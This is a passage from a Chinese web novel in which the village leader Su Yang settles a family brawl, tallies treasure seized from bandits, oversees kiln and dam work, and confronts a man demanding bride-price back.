苏阳瞪了翠环一眼,心想,等回去了再好好收拾你这丫头片子! 小翠环可不怕他,冲着苏阳做了个鬼脸,还吐了吐舌头。 “你们几个,还愣着干啥?还不快把俺家男人扶回去!” 人群中,几个妇人扯着嗓子喊了起来,声音尖锐,带着几分焦急和担忧。 她们的男人没在队伍里,她们的心早就提到了嗓子眼儿。 “石头,去看看咋回事。”苏阳吩咐道。卓明远家眷的哭嚎声,比死了亲爹还惨,在人群里头嗡嗡地乱飞。 寻遍了队伍,连卓明远的影子都没找着,她们心里头慌得像揣了只兔子,突突直跳。 可她们不甘心,一个劲儿地摇头,不信卓明远就这么没了。 苏阳是不能问的,问了也没用,这股子怨气没地儿撒,只能冲着赖志成的几个狗腿子去了。 第二百四十一章 劈头盖脸一顿臭骂,几个狗腿子被骂得眼珠子都绿了。 “呸,给脸不要脸!”一个狗腿子啐了口带血的唾沫,脖子一梗,眼珠子瞪得像牛蛋。 另一个狗腿子也扯开了公鸭嗓:“活着的时候,卓明远仗着自己是赖志成的种,天天把咱们当牲口使唤。现在他姓赖的挺尸了,你们还想当老封君?” “呸,老子们不吃这一套!” 被踩在脚底下的人,一旦翻了身,那股子狠劲儿,能把天捅个窟窿。 跟着苏阳这几天,赖志成的这几个狗腿子算是开了眼,见了世面,知道啥叫“人”了。 以前那是瞎了眼,以为赖志成就是天王老子,跟着他混就得当孙子。 现在,嘿,不比不知道,一比吓一跳。 几个狗腿子心里跟明镜儿似的。 原来,人他娘的还能这么活! 腰不酸,腿不疼,站直了也能把钱挣! 谁他娘的生来就是贱骨头?能站着,谁还愿意跪着当狗? 瞅着卓明远的家人还想摆老谱,几个狗腿子一对眼,就琢磨出个毒计。 “卓明远死了也活该!” “就是死了,也不让他家好过!”狗腿子们心里跟扎了根刺儿似的。 卓明远家的婆娘也是个炮仗脾气,一点就着。 她见几个狗腿子不尿她,竟然把矛头对准了苏阳: “苏二娃子,你个小王八羔子,出征前拍着胸脯保证,要把人都全须全尾地带回来,我家男人呢?” 这嗓子嚎得,跟打雷似的,震得人耳朵嗡嗡响。 热闹的场面一下子就静了,像被人点了穴。 所有人都傻了眼,齐刷刷地盯着卓明远家的婆娘,那眼神,跟看疯婆子没啥两样。 这女人,是失心疯了吧? 可这疯婆子还没意识到自己闯了祸,还在那儿一个劲儿地作: “苏二娃子,你倒是说话啊!哑巴了?” “老天爷啊,你老人家开开眼吧,看看这世道!” “苏二娃子,你个断子绝孙的玩意儿,你咋不死……” 苏阳眯缝着眼,盯着卓明远家的婆娘,一言不发。 他用不着说话,自然有人替他出头。 刚带着大伙儿打了胜仗,苏阳在村里的威望,那可是水涨船高。 这时候谁敢跳出来炸刺,那就是活腻歪了! 有几个乡勇刚想替苏阳说话,赖志成的几个狗腿子就跟排练好了似的,噌地一下跳了出来: “你个臭婆娘,给老子闭嘴!” “卓明远那王八蛋,勾结土匪,想把咱们村给卖了!” “要不是阳哥儿火眼金睛,咱们都得玩完!” “他那是死有余辜!八成就是他那个狗屁堂哥赖志成指使的!” “韩家就没一个好饼!他们早就跟青虎岭的土匪穿一条裤子了,想把咱们村给卖个干净!” “乡亲们,你们说,这事儿能就这么算了吗?” 几个狗腿子声嘶力竭地吼着,想把村民们的怒火给点起来。 可青龙村的村民们也不是傻子,一个个都跟木头桩子似的杵在那儿。 这演的是哪一出? 赖志成的狗腿子,咋还咬起韩家人来了? 大伙儿心里都犯嘀咕,觉得这几个家伙不怀好意,愣是没几个人接茬。 几个狗腿子傻眼了。 他们本以为,自己振臂一呼,这帮泥腿子就会跟打了鸡血似的,冲上去把韩家人给活撕了。 谁承想,马屁拍到了马腿上,根本没人买账。 几个狗腿子心里那个憋屈啊! 他们也不想想,就凭他们几个,也想跟苏阳比? 大伙儿又不傻,凭啥听你们几个的? 你们又不是苏阳的铁杆,跟着你们去撕韩家,有啥好处? 几个狗腿子正下不来台呢,更让他们难堪的事儿来了。 卓明远家的婆娘像疯狗一样扑了上来,照着他们的脸就挠。 韩家的女人也都跟打了鸡血似的,加入了战团。 特别是赖志成那位内人,体型跟座山似的,一头撞过去,直接把一个狗腿子给顶飞了。 然后一屁股坐了下去,那架势,跟泰山压顶似的! 这一下,狗腿子差点儿没被坐死过去,眼珠子翻白,半天没缓过劲儿来,估计连自己亲娘是谁都想不起来了! 看到赖志成的狗腿子跟韩家人扭打在一起,村民们都乐坏了。 “打得好!就该让狗咬狗!” 苏阳冷眼旁观,压根儿就没想管。 这帮人,没一个好东西。 曾经追随赖志成,没少在村里作威作福。 现在想投靠自己? 做梦! 几个狗腿子毕竟是男人,刚开始吃了点儿亏,很快就回过神来了。 他们几个,开始专捡下三路招呼。 掏裆! 抓胸! 怎么恶心怎么来。 韩家没几个男丁,来的都是娘们儿。 就算赖志成的婆娘再厉害,也扛不住这个啊。 几个回合下来,就败下阵来。 几个狗腿子这下三滥的招数,算是把人给恶心透了。 他们赢了场面,可输了人心。 村民们不但没觉得他们厉害,反倒更看不起他们了。 “真他娘的下作!” “臭不要脸,就会欺负女人!” “赢了也丢人!” 庄户人家,骨子里还是淳朴的。 哪怕几个狗腿子对付的是韩家人,可看到他们使这种龌龊手段,也觉得反胃。 苏阳也皱起了眉头。 真要是上了战场,那咋都行。 可现在这是在村里,又不是跟人拼命,犯不着这么不要脸。 这几个狗腿子,心术不正,不能留。 就算自己能容下他们,村里人也容不下。 而且,让他们这样搞事情,苏阳也不好再拿捏韩家人了。 处理完这边的事,苏阳也没了看热闹的心思。 他扫了一眼人群,目光落在了林绮娘身上。 林绮娘的小脸,红得像要滴出血来。 苏阳大大方方地走过去,在众目睽睽之下,牵起了林绮娘的小手,转身就走。 林绮娘的心,跳得跟打鼓似的。 她没想到,苏阳竟然这么大胆,敢众目睽睽之下拉她的手。 钱晓柔家的小丫鬟翠环可不干了,小嘴撅得能挂油瓶。她家小姐还等着苏阳来娶呢,这家伙倒好,众目睽睽之下,跟个童养媳拉拉扯扯,算怎么回事? 可她也只敢在心里嘀咕,不敢真说出来。毕竟苏阳刚刚回村,风头正盛,万一惹恼了他,可没好果子吃。 苏阳压根儿就没注意到翠环的小情绪。 他现在满脑子都是昨天运回来的那几车东西,哪有心思跟一个小丫头片子置气? 还是赶紧盘点战利品要紧!苏阳牵起林绮娘的手,转身就走,全然不顾周围人的目光。 入手处,一片温软细腻。 林绮娘被他这么一拉,身子微微一颤,心跳如鼓,仿佛要从胸腔里蹦出来。 “绮娘,” 苏阳的声音突然在她耳边响起,带着一丝温热的气息, “昨日石头带人运来的物件,你可曾看过? 第二百四十二章 ” 林绮娘只觉得耳边一阵酥麻,还没来得及回答,就感觉掌心里的小手微微一颤。 “没……没有,” 她的声音细若蚊蝇, “石头坚持说得等你到了才准开!” 说话间,林绮娘只觉耳垂处一阵异样的感觉,身子一软,差点儿没站稳。 原来,苏阳看着小丫头迅速变红的耳朵,玩心大起,手指轻轻一勾,在她耳垂上轻轻刮了一下。 这一下可不得了,林绮娘惊呼一声,双腿一软,直接就往地上溜! 苏阳吓了一跳,还以为她被什么东西绊倒了,赶紧伸臂揽住她纤细的腰肢。 触手处,一片温软。 “绮娘,你……没事吧……” 话还没说完,苏阳就愣住了,怀里的小丫头竟然昏过去了! 这……这算怎么回事? 苏阳有些尴尬,感觉自己似乎玩过火了。 前世他可是个老实巴交的好青年,怎么到了这儿就变了样? 一定是这具身躯的前任在搞事情! 苏阳暗骂一声。 此时,苏阳可是众人瞩目的焦点,他这番小动作,怎么可能没人看见? 不少人都瞧见了! “哎呦,苏二这小子也太大胆了,光天化日之下就……” “可不是嘛,真让人臊得慌……” “以后可得让自家闺女离他远点儿,省得被他占了便宜!” …… 看到这一幕的人,心里都转着各种各样的念头。 男人们大多是惊讶,觉得苏阳这小子胆子太大,太开放。 而女人们,尤其是那些上了年纪的,则是一个个面红耳赤,心里头跟揣了只小兔子似的,扑通扑通乱跳。 有几个胆子大的,甚至开始浮想联翩,把自己代入到了林绮娘的角色…… 当然,这其中反应最大的,还要数钱晓柔和她的小丫鬟翠环。 俩小丫头也看见了,顿时吓得花容失色,小心脏砰砰乱跳,感觉腿都软了! 特别是钱晓柔,一想到自己那天昏迷的时候,苏阳很可能也对自己做过同样的事情,就感觉浑身一阵燥热,小腹处也隐隐有些异样的感觉,整个人都晕乎乎的,差点儿没站稳。 天呐,他该不会……真的那样救过自己吧? 呸! 臭流氓! 钱晓柔在心里暗骂一声,脸上却飞起两朵红苏。 多亏了赖志成的小姨子回娘家省亲去了,不然,这会儿怕是又要醋海生波,闹个天翻地覆。 …… 回到家,苏阳直接让陈木生清场。 理由很简单: “我累了,想歇会儿。” 语气虽然平淡,却带着不容置疑的威严。 陈木生一听,立马行动起来,招呼着众人赶紧离开。 大家伙儿也都归心似箭,巴不得早点儿回家跟家人团聚,自然不会违背苏阳的命令。 至于清点战利品的事情? 大伙儿不是不想参与,而是不敢。 苏阳既然没让大家留下,自然有他的用意,谁也不会傻到去触他的霉头。 再说,青龙村的村民大多淳朴本分,打心眼里就不认为那些从土匪手里缴获的财物是属于自己的。 多亏苏阳领着众人从血战中生还! 是苏阳把巡检老爷的赏赐分给了大家! 那顿猪肉席面还是苏阳掏的腰包! 人要知足,不能贪得无厌。 更何况,大元朝跟现代完全不一样,可没人觉得大家是平等的。 苏阳把闲杂人等都打发走了,只留下了几个心腹: 陈木生,路旭东,毕明志,还有孔远山。 别看孔远山这小子平时有点儿不着调,但苏阳却对他寄予厚望。 这小子脑子灵活,只要稍加调教,将来定能成为自己的左膀右臂。 孔远山见苏阳竟然把自己留下了,顿时激动得热泪盈眶,感觉自己浑身的骨头都轻了几斤。 他暗暗发誓,一定要好好表现,绝不辜负苏阳对自己的信任! 当然,苏阳可没心思去揣摩孔远山的心理活动。 他让林绮娘把大门关上,随即便让那四个小伙计开始拆箱。 “都给我小心点儿,别弄坏了里面的东西!” 苏阳在一旁叮嘱道。 为了确保秘密不外泄,就连王婶也带着小荷暂时离开了。 小孩子口无遮拦,容易泄露秘密。 新来的三个女人还没安排住处,王婶便领着她们去收拾房间了。 至于钱晓柔和翠环,苏阳自然是希望她们离得越远越好。 毕竟,这屋子里竟然有这么多值钱玩意儿,一旦走漏了风声,那可是要掉脑袋的! 五辆马车,总共搬来了二十几个大木箱。 苏阳也没讲究什么先来后到,直接大手一挥: “你们几个,一人挑一个,先开哪个算哪个!” 孔远山眼疾手快,一个箭步冲到一口最大的箱子前,得意洋洋地宣布: “这口归我了!” 路旭东和毕明志也不甘示弱,各自挑了一口大箱子。 只有陈木生,挠了挠头,似乎有些犹豫不决,最后竟然选了一口最小的箱子! “哈哈,石头,” 孔远山见陈木生选了最小的箱子,忍不住调侃道, “要不咱俩比比,看谁的箱子里宝贝多?” 路旭东也跟着起哄: “石头,别怕他,跟他比!我挺你!” 毕明志也一反常态,怂恿陈木生: “就是,石头哥,跟他比!怕他作甚?” 孔远山看着另外三人都站在了陈木生那边,心里不禁咯噔一下。 这几个家伙什么时候穿一条裤子了? 莫非是我平常有什么做错的地方,得罪了他们? 他却不知道,有时候,人缘太好也是一种错。“莫装逼,装高调必遭天谴!” 苏阳心里暗自告诫,却没空理会孔远山。 他的心思全在那几口神秘的箱子上,迫不及待想一探究竟。 “都别闹了,赶紧开箱!” 苏阳大手一挥,几个小子顿时精神抖擞。 孔远山仗着腿脚快,一个箭步蹿到最近的箱子前,猛地掀开盖子。 “咔哒!” 箱子开了。 可孔远山脸上的笑容,却瞬间僵住。 满满一箱……黄澄澄的铜钱。 “我的老天爷……” 孔远山欲哭无泪,一屁股坐在地上, “这么多铜钱,得数到猴年马月去……” 他捶胸顿足, “还不如给我来一箱石头呢,至少搬起来省事!” 要说以前,孔远山得了满箱的古钱币,估计得乐疯。 可如今,跟着苏阳见了世面,他的眼光也水涨船高。 满箱的古钱币,还真入不了他的法眼。 路旭东在一旁笑得前仰后合: “我说老孙,你也有今天!阳哥儿不是常说嘛,人品守恒定律,你小子也有失灵的时候!” 说完,他得意洋洋地打开自己的箱子。 “咣当!” 箱盖落地。 路旭东脸上的笑容,瞬间凝固。 比苦瓜还苦。 “他奶奶的……” 他狠狠地啐了一口, “老子这是走了什么霉运! 第二百四十三章 ” 这次,轮到孔远山乐了。 他叉着腰,笑得直不起身: “哎呦喂,老路,咱哥俩谁也别笑话谁,半斤八两!” 毕明志那边,却传来一阵欢呼: “银子!满满一箱银子!” 白花花的银锭,在阳光下闪耀。 粗略一数,怕不有两千两! 陈木生不慌不忙,走到自己的箱子前。 深吸一口气,猛地掀开盖子。 “嘶……” 屋里顿时响起一片倒吸凉气的声音。 所有人都看傻了眼。 一箱子珠光宝气! 珍珠、翡翠、玛瑙、宝石…… 应有尽有,琳琅满目。 林绮娘一个小丫头,哪见过这阵仗? 她眼睛都直了,小嘴张得老麻,合不拢。 苏阳看得心头一热,险些没忍住亲她一口。 当然,他自己也激动得不行。 这么一箱子宝贝,搁谁谁不迷糊? 开完箱,大家伙儿盘点了一番。 除了黄金还能让人眼前一亮,那些银子、铜钱,已经引不起什么兴趣了。 苏阳心里估摸着,这次从青虎岭弄来的财货,加起来差不多有三万两银子。 之所以不是更多,是因为箱子里不光有金银珠宝,还有不少铜钱、绸缎,连带着一堆文玩珍品。 古玩字画这东西,苏阳没算在内。 他一个现代人,哪懂这些玩意儿的价值? 他推测,青虎岭的土匪才来没多久,能搜刮这么多财物,多半是凤子楼那个肥掌柜的“功劳”。 那胖子机关算尽,想对付苏阳,结果反倒赔了夫人又折兵。 多年积蓄,全便宜了这帮土匪…… 不,应该说是“捐赠”给了苏阳。 想到这儿,苏阳都觉得世事无常。 单算金银,苏阳前后两次,从青虎岭的土匪手里,就弄来了五万两银子的财货! 五万两啊! 这可不是个小数目。 苏阳两世为人,也从未见过这么多钱。 他心里清楚,有了这笔钱,别说在澜江县,就是去东京汴梁城,也能过上富贵日子! 他甚至开始幻想,以后带着林绮娘,在东京城里过上神仙眷侣的生活…… 不用苏阳多说,陈木生几个也知道事关重大。 几个人纷纷表示,绝不会走漏半点风声。 可这孔远山,偏偏管不住自己的嘴: “阳哥儿,你放心,我孔远山别的本事没有,这嘴巴绝对严实!” “我保证,连我家那几个小兔崽子都不会知道!” 苏阳一听,眉头就皱了起来。 他太了解孔远山了,这小子就喜欢在家人面前显摆。 “孔远山,我警告你,别以为我不知道你那点小心思!” 苏阳指着孔远山的鼻子, “你要是敢让你家里人知道一个字,以后就别跟着我了!” 孔远山吓得一哆嗦,赶忙赌咒发誓: “阳哥儿,你放心,我就是烂在肚子里,也绝不说出去半个字!” “我要是说了,就被雷公电母伺候,不得好死!” 苏阳懒得再跟他废话。 这么多箱子抬进门,动静可不小。 就算没让人看见里头装的啥,也瞒不住有心人。 他心里明白,用不了多久,自己从青虎岭土匪手里抢了财宝的消息,就会传得满城风雨。 而且,传言肯定会越来越离谱。 别说三万两,就是说成三十万两,也不是没可能。 与其费尽心思隐瞒,不如抓紧时间提升实力。 这才是当务之急! “绮娘,” 苏阳转过头,对林绮娘说, “别光顾着看这些宝贝了,跟我说说,这几天卧龙沟那边的情况。”林绮娘正痴痴地望着那些珠宝,眼睛都直了,小嘴微张,口水都快流出来了。 苏阳连唤数声,她才猛然惊醒,像只受惊的小兔子: “啊?二……二哥,你刚才说啥?” 苏阳无奈地摇摇头,这丫头,真是个小财迷。 …… 翌日清晨, 青龙村东头的空地上,苏阳手下的小子们照例早起晨练。 一个个身形矫健,虎虎生风。 苏阳背着手,踱着步,看在眼里,喜在心头。 突然,他停下脚步,提高了嗓门: “停!” 一声令下,小伙子们整齐划一地收势,站得笔直。 苏阳清了清嗓子,大手一挥: “兄弟们,最近大家伙都辛苦了!这样,等会儿早饭后,每人去绮娘那儿领十两银子,就当是……嗯,奖励!” 他本想说“辛苦费”,但话到嘴边又改了口。 “奖励”听起来,似乎更带劲一些。 “谁赞成?谁反对?” 这话一出,如同平地惊雷。 人群瞬间沸腾! “十两银子?我的天,二哥万岁!” “二哥威武!跟着二哥混,有肉吃,有酒喝,还有银子拿!” “谁他娘的敢反对?老子第一个不答应!” …… 小子们兴奋得嗷嗷直叫,恨不得把苏阳举起来抛向空中。 这动静可不小,直接把还在睡梦中的青龙村给吵醒了。 “咋回事?大清早的,鬼哭狼嚎啥呢?” “好像是苏二那边传来的,又发银子了?” “这小子,哪来这么多钱挥霍?真是个败家玩意!” …… 不过,很快就有消息灵通人士出来辟谣,安抚了村民们躁动的心。 原来,苏阳打算重启招人计划,三天后在晒粮场考核! 这消息像一阵风,迅速刮遍了整个青龙村。 还睡什么觉? 一个个都从床上跳起来,忙得脚不沾地。 回娘家的, 找亲戚的, 拉朋友的, 生怕错过了这千载难逢的好机会! “他二舅,你可得帮帮俺,俺家那小子要是能跟着苏二爷,咱家就有盼头了!” “放心吧,包在我身上!不过话说回来,让你家小子机灵点,别到时候考核不过,丢了咱的人!” “他敢!他要是敢给老子丢人,看我不打断他的狗腿!” …… 看看以前跟随苏二的那帮兄弟,一个个穿金戴银,家里都快成土财主了! 自己要是再不抓住机会,就算不饿死,也得悔死! 早饭后, 苏阳出了门,沿着蜿蜒的土路,向卧龙沟北岸厂区走去。 刚走到村口,就远远地看见厂区上人头攒动,热火朝天。 不用走近,光听那叮叮当当的敲打声,就知道大伙干得有多卖力了。 工程进展比他预想的还要快。 看来孔远山几个小子的老爹没敢阳奉阴违,一众帮工干得那叫一个起劲。 这也是没办法的事。 现在苏阳可是青龙村的村正,谁敢得罪他? 别说这些帮工了,就是村里的里正,现在见了苏阳也得点头哈腰。 见苏阳来了,不少帮工放下手中活计,点头哈腰,毕恭毕敬地问好。 “苏村正,您来啦!” “苏村正,吃了没?” “苏村正,您慢点,小心路滑!” …… 苏阳摆摆手,示意大家不用多礼,继续干活,别耽误了进度。 第二百四十四章 老孙,老路,老毕,三个监工一路小跑跟在苏阳身旁,边走边汇报。 “苏村正,您瞧,这边的土窑已经挖好了,就等着晾干了能烧砖了。”老孙指着不远处一个土坑说道。 “那边是打坯的,您看这砖坯,多结实!”老路拿起一块砖坯,向苏阳展示。 “还有那边,是堆放木料的,都是上好的木头,保证建出来的桥结实耐用!”老毕指着远处一堆木料说道。 …… 由于缺材料,无法搭建规模大的窑厂,窑匠们只能因地制宜,先挖几个简易的土窑顶着。 苏阳走到一个土窑边上,蹲下身子,仔细观察。 他发现,这土窑比他想象的要复杂一些。 不光是要挖个坑,还要在坑壁上用泥土和草木灰混合物糊上一层,增加窑壁的强度和保温性。 “这土窑,一天能烧多少砖?”苏阳问老孙。 “回村正,这土窑小,一天最多也就烧个几百块砖。”老孙回答。 几百块? 太少了! 照这个速度,猴年马月才能把房子盖起来? 苏阳皱起了眉头。 他原本以为,有了土窑就能大量烧砖,现在看来,是自己把事情想简单了。 他想起前世看的那些网络小说,主角随随便便就能造出水泥,烧出玻璃,简直就是开挂。 现在看来,纯粹是瞎扯淡! 没有足够的知识和经验,没有合适的工具和材料,想在古代搞发明创造,难如登天! 制坯的过程也比他想象的复杂得多。 不仅要用上好的黏土,还要经过反复的筛选、搅拌、捶打,才能保证砖坯的质量。 苏阳看着那些汗流浃背的帮工,心里感慨万千。 看来,自己还是太低估古代劳动人民的辛苦了。 看过帮工们制坯,苏阳转头对跟在身后的林绮娘和王婶说: “以后每天的伙食都要有油水,肉不能少,菜也不能马虎!没猪肉,就让人去卧龙沟里捞鱼!告诉伙房,别舍不得放油盐,让大家都吃饱吃好,才有力气干活!” “哎,好嘞,二哥,我记下了。”林绮娘连忙答应。 王婶也在一旁补充:“二爷放心,我一定把伙食安排妥当,让大家吃得饱饱的,干劲十足!” 说到捕鱼,苏阳突然想起赖志成那几个帮闲。 之前还想着怎么处置他们呢,现在正好废物利用。 让他们去捕鱼,也算是给他们找个差事。 至于怎么处置他们…… 苏阳心中有了计较。 直接收编肯定不行,那几个家伙人品太差,难以服众。 弃之不用也不行,万一他们怀恨在心,暗中捣乱就麻烦了。 最好的办法就是让他们戴罪立功,为青龙村做点贡献。 等他们立了功,再给他们一些好处,也算是对他们的补偿。 这样既能安抚他们,又能让他们为自己所用,一举两得。 至于捕鱼权…… 苏阳冷笑一声。 当初可是说好了的,只要赖志成供不上自己的需求,自己就可以随便捕鱼,不受他的限制。 现在赖志成自己都顾不过来,还想霸着捕鱼权? 门都没有! “噗……” 苏阳想到赖志成那副倒霉样,忍不住笑出声来。 “二哥,你笑啥?”林绮娘好奇地问。 “咳咳,没啥,想起个好笑的事。”苏阳连忙掩饰。 “哦。”林绮娘也没多问。 “对了,绮娘,咱家的粮食还够吃多久?”苏阳突然想起一件事,问道。 “二哥,咱家的粮食不多了。” 林绮娘皱着眉头,一脸担忧。 “最近用粮的地方太多,之前买的粮食眼瞅着就要见底了,再不想办法,恐怕就要断粮了。” 原本按照五天发一次工钱,现在还没到发粮的时候,还不至于太拮据。 但苏阳提高了伙食标准,每日都要有肉有菜,支出大大增加。 而且,青龙村还有那么多张嘴等着吃饭,每天的消耗量大得惊人。 “别担心,我已经派人去镇上催粮了,算算时间,粮队应该已经在路上了,耽误不了。” 苏阳安慰道。 他早就料到会有这种情况,提前做了安排。 说完,苏阳又吩咐几个瓦匠去外面联系一批砖瓦。 既然自己烧砖来不及,就先买现成的,绝不能耽误盖房的进度。 “几位师傅辛苦了,除了加紧烧砖,也去周围村子打听打听,看看谁家有现成的砖瓦,都买回来,价钱好商量!” “好嘞,村正,我们这就去办!”几个瓦匠答应着去了。 “木匠那边也催一催,让他们抓紧时间把桥修好,这样运送材料就方便多了。”苏阳又对老毕说道。 “村正放心,我这就去跟陈木匠说。”老毕应了一声,转身去找陈木匠。 几位石匠也在一旁待命。 苏阳走过去,拍了拍其中一位石匠的肩膀: “师傅们辛苦了!等桥修好,干活的人手马上就到,届时让牲口搬运石料,就不用大家肩扛手抬了!” “村正说的是,我们都盼着那一天呢!”石匠们纷纷说道。 “等堤坝修好,我给大家摆酒庆功!”苏阳又许下承诺。 “好嘞!多谢村正!”石匠们干劲更足了。 厂区上转了一圈,千头万绪,苏阳只觉得一个头两个大。 这么大的工程,光靠自己一个人,肯定是管不过来的。 必须尽快培养几个得力助手,帮自己分担。 还有,人手也严重不足。 原以为一百多人就够了,现在看来,远远不够。 光是开采石头这一项,就需要大量的人力。 人手不够二十,根本没办法把那些大石头从山里弄出来。 招人! 必须继续招人! 还得想办法改进工具,提高效率…… 苏阳一边走,一边思考着。 突然,孔远山急匆匆地跑了过来, 一脸焦急: “超……阳哥儿,家里出事了,赶紧回去瞅瞅!”“阳哥儿,出大事了!” 孔远山脚下生风,鞋都快跑掉一只,老远就扯着嗓子嚎开了。 苏阳正为招工和粮食的事焦头烂额,一听这话,火气蹭就冒了上来:“慌什么!死了老子了?” “呼……呼……”孔远山撑着膝盖,喘得像条老狗,上气不接下气,“花……方二姐……她婆家……” “方二姐婆家怎么了?天塌下来有我顶着!” 苏阳不耐烦地打断他,这小子,一惊一乍的毛病什么时候能改改? “他们……来要……要回彩礼!”孔远山总算把话捋顺了。 “要回彩礼?”苏阳一愣,随即气笑了,“就为这点破事,你小子就吓成这德行?” 说着,抬脚在孔远山屁股上虚踹了一下。 孔远山缩了缩脖子,一脸委屈。 他这不是怕苏阳着急嘛! 苏阳瞪了他一眼,懒得跟他计较。 第二百四十五章 眼下正事要紧。 “王婶!”苏阳喊道。 “哎,阳哥儿,啥事?”王婶应声从人群里走了出来。 “你跟村里人都说一声,厂区还要人!只要不是那些偷奸耍滑的,是咱们青龙村的,来多少要多少!外村的也行,不过得找个靠谱的担保人!” 苏阳提高了嗓门,确保每个人都能听清。 “阳哥儿,这……”王婶面露难色,“招这么多人,咱的粮食……” 她主管做饭,每天用了多少粮食,她心里最清楚。 照这个速度,怕是过不了几天,就得揭不开锅了。 “粮食的事你不用操心,不够了提前跟我说!” 苏阳大手一挥,打断了王婶的顾虑。 他原本打算靠三溪镇的粮店撑一段时间,现在看来,是自己想简单了。 不仅青龙村要招人,周围几个村子也得动员起来。 这么大的用粮缺口,一个小小的粮店根本顶不住。 看来,这清阳县,自己是非去不可了! …… 离家还有一段距离,苏阳就听见院子里闹哄哄的,女人的哭声,男人的叫骂声,乱成一锅粥。 “哭哭哭,就知道哭!你个贱人,俺沙家的脸都让你丢尽了!咋不去死?” “还有你们青龙村的,还要脸不?收留这么个玩意儿,是八百年没见过女人吗?我告诉你们,今儿必须给个说法,不然这事没完!” 苏阳皱着眉头走近,只见院子外围了一圈人,一个个伸长了脖子,像一群等着投喂的大鹅。 人群中,不时传来窃窃私语: “你们听说了吗,苏二带回来的那几个女人,好像是土匪窝里出来的……” “不能吧?看着不像啊,那哭的,好像是清水村的……” “管她哪儿的,反正这下有好戏看了,嘿嘿……” “嘘,小声点,苏二回来了!” 不知道是谁喊了一嗓子,人群“呼啦”一下散开,跑得比兔子还快。 苏阳进了院子,目光一扫,七八个陌生面孔映入眼帘,有老有少,有男有女,一个个气势汹汹,显然是来者不善。 人群中,一个打扮妖艳的男人格外引人注目。 只见他描眉画眼,头戴一朵大红花,腰肢扭得像水蛇,比女人还像女人。 看到苏阳,那妖艳男人扭着腰肢,搔首弄姿地走了过来: “哎哟,这位想必就是苏二爷吧?奴家可是久仰大名了呢~” 说着,还朝苏阳抛了个媚眼。 苏阳只觉得一阵恶寒,差点没把隔夜饭吐出来。 “你是谁?”苏阳强忍着不适,冷冷地问道。 “哎呀,二爷真是贵人多忘事,奴家是方二姐的……男人呀~” 妖艳男人捏着兰花指,声音嗲得能腻死人。 “哦?”苏阳眼神一凛,“我记得,你不是落入贼人手里了吗?” “二爷的消息可真灵通~”妖艳男人娇笑一声,“奴家是被抓了,可奴家又跑出来了呀,不行吗?” “行,怎么不行。” 苏阳笑了,只是笑容里透着一股寒意, “只是,你不在家好好待着,跑到我这儿来做什么?” “二爷,咱们开门见山地聊,你抢了奴家的女人,这事儿,你打算怎么了结呀?” 妖艳男人的脸色突然一变,语气也变得强硬起来。 “怎么了结?你想怎么了结?”苏阳反问道。 “这……”妖艳男人眼珠子一转,脸上露出了贪婪的神色,“二爷要是识相,就拿银子来!要么把人还给我,要么出银子买平安!” “要多少?”苏阳不动声色。 “二爷家大业大,也不差这点小钱,就给个……两百两吧!” 妖艳男人狮子大开口。 一直低头啜泣的方二姐,猛地抬起头,声音嘶哑:“小东人……别……别给……他们……” “贱人,闭嘴!” 没等方二姐把话说完,妖艳男人就厉声打断了她, “这里哪有你说话的份?再敢多嘴,小心奴家撕烂你的嘴!” “小东人,您别听他的……”方二姐还想说什么。 “闭嘴!” 苏阳一声低喝,打断了方二姐的话。 这一声,不仅是对方二姐说的,也是对一旁跃跃欲试的翠环说的。 翠环撇了撇嘴,一脸不服气,却也不敢再说什么。 苏阳转过头,看着妖艳男人,似笑非笑: “两百两?你倒是真敢开口。” “怎么,二爷嫌多?那……一百两?”妖艳男人试探着问道。 “一文钱都没有!”苏阳冷冷地说道,“我倒要看看,你能把我怎么样。” 院子外,还没走远的吃瓜村民们,听到这里,一个个都兴奋起来。 “哎哟,有好戏看了,苏二这下要倒霉了!” “可不是嘛,谁让他招惹了不该招惹的人!” “嘿嘿,等着看他怎么收场吧!” …… 苏阳没有理会那些看热闹的村民,他盯着妖艳男人,缓缓说道: “孔远山。” “到!” “给你个将功补过的机会,把这玩意的嘴给我撬开,我倒要看看,他是怎么从青虎岭跑出来的!” “得嘞!” 孔远山早就憋了一肚子火,正愁没地方发泄呢。 苏阳一声令下,他立刻摩拳擦掌,朝妖艳男人扑了过去。 “你……你们要干什么?我告诉你们,我可是和韩家大公子有交情的!你们敢动我,卓麻公子不会放过你们的!” 妖艳男人见势不妙,色厉内荏地威胁道。苏阳的眼神微微一动,嘴角勾起一抹玩味的弧度:“哦?挺会编故事的嘛。那你倒是说说,怎么就认识我们村正卓麻公子了?” “哼,怕了吧?晚了!” 油头粉面男得意洋洋,下巴几乎要翘到天上去。他用眼角余光瞥着苏阳,仿佛在看一只待宰的羔羊。 “我和赖公子,那可是在黑松……咳,”他故作神秘地咳嗽一声,压低了声音,“总之,你们惹不起!识相的,现在就跪下磕头,爷爷我心情好,没准我能给你们留条活路!” “哈哈!” 苏阳被逗乐了,毫不掩饰地大笑出声。 这笑声,让油头粉面男脸上的得意僵住了。 “让我想想,”苏阳收敛了笑容,慢条斯理地说道,“你是不是前阵子才刚回的清水村?” 没等油头粉面男接话,苏阳的目光转向跟他一起来的那群人,语气中带着一丝戏谑: “你们几个,知不知道他前段时间都干了些什么见不得人的勾当?” “我四哥是让人给掳走了不假,可他这不是全须全尾地回来了吗?怎么着?” 其中一个家伙梗着脖子,语气不善地嚷嚷道。 苏阳用下巴点了点油头粉面男,轻描淡写地说:“来,让他自己说。是让人给掳走了呢,还是主动摇着尾巴投靠去了? 第二百四十六章 ” “不……不可能!你血口喷人!”油头粉面男脸色一白,声音都有些发颤,“四哥,你快跟他们说说,不是这样!” 苏阳也懒得跟这群人继续掰扯,转头看向孔远山: “孔远山,你还愣着干嘛?没听见我刚才说的话?” 孔远山一个激灵,猛地回过神来,心里暗骂自己没眼力见,竟然还敢在这种时候走神。 “来几个兄弟,把这小子拖后院去!”孔远山得了苏阳的指令,立刻来了精神,招呼几个手下,“老子要让他知道,什么叫祸从口出!” 他一边说着,一边朝手下使眼色,示意他们下手别太轻。 几个手下会意,不由分说地架起油头粉面男就往后院走。 他带来的那群小弟想要阻止,可见到这边明晃晃的长枪钢刀,顿时就怂了,一个个缩着脖子,愣是不敢吭一声。 孔远山把人带走后,没多大会儿,院子里就传来了油头粉面杀猪般的嚎叫。 那声音,凄厉得让人头皮发麻。 过了好一阵子,油头粉面男才被重新拎了回来。 他像一堆被抽了骨头的烂肉,瘫在地上,一个劲地打哆嗦。 不用孔远山逼问,他自己就抖抖索索地开始交代,每一个字都像是从牙缝里挤出来的: 